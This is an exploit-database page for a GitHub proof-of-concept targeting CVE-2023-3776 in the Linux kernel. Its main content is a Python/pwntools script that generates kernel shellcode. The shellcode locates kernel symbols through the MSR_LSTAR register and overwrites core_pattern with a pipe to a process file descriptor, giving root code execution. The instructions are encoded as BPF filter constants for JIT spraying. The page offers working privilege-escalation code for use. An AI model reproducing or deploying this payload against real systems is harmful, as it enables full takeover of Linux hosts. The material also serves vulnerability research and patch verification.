Exploit database

GH-1f3673e7daa05baa620729be972df491

sakura999999999/cve-2023-3776_repro

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-3776

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files20
sakura999999999/cve-2023-3776_reproRevision b63059fc7d7e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

pov/sc.py

Python · 2,248 bytes
#!/usr/bin/env python3

from pwn import *
import struct

entry_syscall = 0xffffffff82200000
core_pattern = 0xffffffff837ba3a0
copy_from_user = 0xffffffff8183e730
msleep = 0xffffffff8121faa0

off1 = entry_syscall-core_pattern
off2 = core_pattern-copy_from_user
off3 = copy_from_user-msleep
ins = ["sub", "add"]

context.arch = 'amd64'

ASM=f"""
; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64
; ECX should be MSR_LSTAR ( 0xc0000082 )
xor ecx, ecx    
xor edx, edx    
mov cl, 0xc0    
shl ecx, 24    
mov cl, 0x82    
rdmsr
; make rdx = entry_SYSCALL_64's address
xor ecx, ecx    
mov cl, 32    
shl rdx, cl    
add rdx, rax  
; entry_SYSCALL_64 + 0x15a68e0 = core_pattern
; move core_pattern to rdi ( 1st arg )
xor esi,esi    
mov sil, {(abs(off1)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off1)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off1)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off1))&0xff}    
{ins[off1<0]} rdx, rsi    
mov rdi, rdx    
; core_pattern - 0x1fe7cc0 = copy_from_user
; move copy_from_user to rax
xor esi,esi    
mov sil, {(abs(off2)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off2)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off2)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off2))&0xff}    
{ins[off2<0]} rdx, rsi    
mov rax, rdx    
; call copy_from_user(core_pattern, user_buf, 0x30);
; user_buf = 0xa00000 = "|/proc/%P/fd/666"
xor esi, esi    
mov sil,0xa0    
shl esi,16    
xor edx,edx    
mov dl,0x30    
push rax
call rax    
pop rax
; copy_from_user - 0x63f6d0 = msleep
xor esi, esi
mov sil, {(abs(off3)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off3)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off3)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off3))&0xff}    
{ins[off3<0]} rax, rsi    
; move 0x7000000 to rdi ( 1st arg )  
xor edi,edi
mov dil,0x70
shl edi,20
call rax
"""
def toi(data):
    assert len(data) == 4
    return struct.unpack('<I', data)[0]

def add_slip(code):
    assert len(code) <= 3
    return hex(toi(code.ljust(3, b'\x90') + b'\x3c'))

for a in ASM.strip().split("\n")[::-1]:
    #print(a)
    if a[0] == ';':
        continue
    cur = add_slip(asm(a))
    print("filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = " + cur +"};")